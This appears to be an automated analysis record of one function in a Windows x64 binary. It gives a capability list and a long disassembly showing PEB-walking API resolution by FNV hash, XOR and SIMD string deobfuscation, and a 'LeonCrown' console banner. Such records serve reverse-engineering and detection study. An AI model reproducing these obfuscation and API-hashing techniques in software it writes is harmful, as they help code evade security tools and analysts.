Function at 0x140003050
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get kernel32 base address
Get number of processors
Hash data using fnv
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x45c8]
mov eax, 0x46c8
call fcn.14008e890
sub rsp, rax
movaps xmmword [rsp + 0x46b0], xmm6
movaps xmmword [rsp + 0x46a0], xmm7
movaps xmmword [rsp + 0x4690], xmm8
xor r13d, r13d
movsd xmm0, qword [str.UV]
movsd qword [rsp + 0x28], xmm0
movzx ecx, word [0x1400a08a0]
mov word [rsp + 0x30], cx
movzx eax, byte [0x1400a08a2]
mov byte [rsp + 0x28], WSASetLastError
xor byte [rsp + 0x29], 0x39
xor byte [rsp + 0x2a], 0x3a
xor byte [rsp + 0x2b], 0x3b
xor byte [rsp + 0x2c], 0x3c
xor byte [rsp + 0x2d], 0x3d
xor byte [rsp + 0x2e], 0x3e
xor byte [rsp + 0x2f], 0x3f
xor cl, 0x40
mov byte [rsp + 0x30], cl
xor byte [rsp + 0x31], 0x41
xor al, 0x42
mov byte [rsp + 0x32], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xc6e0ec41
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003171
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003150
cmp r8d, 0x6c596220
je 0x14000317b
test r9d, r9d
jne 0x140003130
mov rax, qword [rax]
jmp 0x140003100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x28]
call rdx
lea rdx, [0x1400a0410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400242c0
mov rcx, rax
lea rdx, str._n________________________________n___________________________n__________________________n_________________________n_t
call fcn.1400242c0
mov rcx, rax
mov dl, 0xa
call fcn.1400240f0
lea rdx, str._n_n___
lea rcx, [rbp - 0x78]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp - 0x78]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp - 0x68]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp - 0x68]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp - 0x58]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp - 0x58]
call fcn.1400239d0
movups xmm0, xmmword [0x1400a2470]
movups xmmword [rbp + 0x160], xmm0
mov eax, dword [str.:_FM]
mov dword [rbp + 0x170], eax
movzx eax, word [0x1400a2484]
mov word [rbp + 0x174], ax
mov esi, 4
lea r14d, [rsi + 0x1b]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400a2485], 0
je 0x140003410
mov r8d, r13d
cmp r12d, 2
jl 0x1400033d3
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400032d0
cmp r8d, 0x16
jge 0x140003410
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400033e0
movzx edx, byte [rbp + 0x4610]
lea rcx, [rbp + 0x298]
call fcn.140024990
nop
lea rax, [rbp + 0x160]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140003435
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x298]
call fcn.1400249b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x298]
call fcn.140002170
nop
lea rcx, [rbp + 0x298]
call fcn.140001ea0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003506
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003506
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb7bcf494
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003501
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400034e0
cmp r8d, 0x515e7a57
je 0x14000350b
test r9d, r9d
jne 0x1400034c0
mov rax, qword [rax]
jmp 0x140003490
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [str._UI_]
mov dword [rbp + 0x4620], eax
cmp byte [0x1400a0ae3], 0
je 0x140003610
cmp r12d, 2
jl 0x1400035d3
movdqa xmm3, xmmword [0x1400ad1e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad260]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad260]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400ad200]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ad250]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x4620], xmm2
jmp 0x140003610
lea r9, [rbp + 0x4620]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400035e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400036a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400036a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb0baaaf8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400036a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003680
cmp r8d, 0x483ddef9
je 0x1400036ab
test r9d, r9d
jne 0x140003660
mov rax, qword [rax]
jmp 0x140003630
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x4620]
call rdx
movsd xmm0, qword [str.UV]
movsd qword [rsp + 0x38], xmm0
movzx ecx, word [0x1400a08a0]
mov word [rsp + 0x40], cx
movzx eax, byte [0x1400a08a2]
mov byte [rsp + 0x38], WSASetLastError
xor byte [rsp + 0x39], 0x39
xor byte [rsp + 0x3a], 0x3a
xor byte [rsp + 0x3b], 0x3b
xor byte [rsp + 0x3c], 0x3c
xor byte [rsp + 0x3d], 0x3d
xor byte [rsp + 0x3e], 0x3e
xor byte [rsp + 0x3f], 0x3f
xor cl, 0x40
mov byte [rsp + 0x40], cl
xor byte [rsp + 0x41], 0x41
xor al, 0x42
mov byte [rsp + 0x42], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400037b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400037b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x29b55945
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400037b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003790
cmp r8d, 0xe414ea1c
je 0x1400037bb
test r9d, r9d
jne 0x140003770
mov rax, qword [rax]
jmp 0x140003740
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x38]
call rdx
lea rdx, [0x1400a0410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400242c0
mov rcx, rax
lea rdx, str._n________________________________n___________________________n__________________________n_________________________n_t
call fcn.1400242c0
mov rcx, rax
mov dl, 0xa
call fcn.1400240f0
lea rdx, str._n_n___
lea rcx, [rbp - 0x30]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp - 0x30]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp - 0x20]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp - 0x20]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp - 0x10]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp - 0x10]
call fcn.1400239d0
lea rdx, str.Welcome_to_LeonCrown
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400242c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx ebx, byte [rbp + 0x4610]
movzx edi, byte [rbp + 0x4610]
nop
mov eax, dword [str._UI_]
mov dword [rbp + 0x4628], eax
cmp byte [0x1400a0ae3], 0
je 0x1400039a0
cmp r12d, 2
jl 0x14000395a
movdqa xmm3, xmmword [0x1400ad1e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad260]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad260]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400ad200]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ad250]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x4628], xmm2
jmp 0x1400039a0
lea r9, [rbp + 0x4628]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003970
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140003a36
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140003a36
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc13279cb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003a31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003a10
cmp r8d, 0xb4e2b272
je 0x140003a3b
test r9d, r9d
jne 0x1400039f0
mov rax, qword [rax]
jmp 0x1400039c0
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x4628]
call rdx
movsd xmm0, qword [str.UV]
movsd qword [rsp + 0x48], xmm0
movzx ecx, word [0x1400a08a0]
mov word [rsp + 0x50], cx
movzx eax, byte [0x1400a08a2]
mov byte [rsp + 0x48], WSASetLastError
xor byte [rsp + 0x49], 0x39
xor byte [rsp + 0x4a], 0x3a
xor byte [rsp + 0x4b], 0x3b
xor byte [rsp + 0x4c], 0x3c
xor byte [rsp + 0x4d], 0x3d
xor byte [rsp + 0x4e], 0x3e
xor byte [rsp + 0x4f], 0x3f
xor cl, 0x40
mov byte [rsp + 0x50], cl
xor byte [rsp + 0x51], 0x41
xor al, 0x42
mov byte [rsp + 0x52], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140003b46
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140003b46
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r10
mov r8d, 0xc42373fa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003b41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003b20
cmp r8d, 0xbac394a3
je 0x140003b4b
test r9d, r9d
jne 0x140003b00
mov rax, qword [rax]
jmp 0x140003ad0
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x48]
call rdx
lea rdx, [0x1400a0410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400242c0
mov rcx, rax
lea rdx, str._n________________________________n___________________________n__________________________n_________________________n_t
call fcn.1400242c0
mov rcx, rax
mov dl, 0xa
call fcn.1400240f0
lea rdx, str._n_n___
lea rcx, [rbp]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp + 0x10]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x10]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp + 0x20]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x20]
call fcn.1400239d0
lea rdx, str.Welcome_to_LeonCrown
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400242c0
lea rdx, str._n___
lea rcx, [rbp + 0x30]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x30]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp + 0x40]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x40]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp + 0x50]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x50]
call fcn.1400239d0
movups xmm0, xmmword [str.tPYR_]
movups xmmword [rbp + 0x60], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140003e50
cmp r12d, 2
jl 0x140003e0e
movdqa xmm5, xmmword [0x1400ad1e0]
mov edx, r13d
movdqa xmm4, xmmword [0x1400ad260]
mov r14d, 4
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
mov esi, Ordinal_32
movd xmm8, esi
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x64]
mov r8d, dword [rbp - 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140003d11
jmp 0x140003e5a
lea r9, [rbp + 0x60]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140003e20
mov r14d, 4
lea esi, [r14 + 0x1b]
movzx edx, bl
lea rcx, [rbp + 0x2b8]
call fcn.140024990
nop
lea rax, [rbp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140003e71
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x2b8]
call fcn.1400249b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x2b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x2b8]
call fcn.140001ea0
lea rcx, [0x1400bbf10]
call fcn.140038430
lea rdx, [0x1400baee0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400246c0
lea rdx, [0x1400baee0]
lea rcx, [rbp + 0x2d8]
call fcn.140023d00
mov rdx, rax
lea rcx, [0x1400bbf10]
call fcn.140039a20
lea rdx, str._n___
cmp byte [0x1400bc128], 0
jne 0x140004259
lea rcx, [rbp + 0x70]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x70]
call fcn.1400239d0
lea rdx, [0x1400a041c]
lea rcx, [rbp + 0x80]
call fcn.140024600
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x80]
call fcn.1400239d0
lea rdx, [0x1400a0420]
lea rcx, [rbp + 0x90]
call fcn.140024490
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024550
nop
lea rcx, [rbp + 0x90]
call fcn.1400239d0
movups xmm0, xmmword [0x1400a0808]
movups xmmword [rbp + 0x130], xmm0
movzx eax, word [0x1400a0818]
mov word [rbp + 0x140], ax
cmp byte [0x1400a0819], 0
je 0x140004140
mov r8d, r13d
cmp r12d, 2
jl 0x1400040f4
movdqa xmm5, xmmword [0x1400ad1e0]
movdqa xmm4, xmmword [0x1400ad260]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400ad200]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400ad250]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x134]
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ad230]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003ff1
cmp r8d, 0x12
jge 0x140004140
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140004110
movzx edx, dil
lea rcx, [rbp + 0x2f8]
call fcn.140024990
nop
lea rax, [rbp + 0x130]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004160
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x2f8]
call fcn.1400249b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x2f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x2f8]
call fcn.140001ea0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140004226
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140004226
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r10
mov r8d, 0xaa648d5c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004221
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004200
cmp r8d, 0xce53c09f
je 0x14000422b
test r9d, r9d
jne 0x1400041e0
mov rax, qword [rax]
jmp 0x1400041b0
mov ecx, dword [r14 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov esi, 4
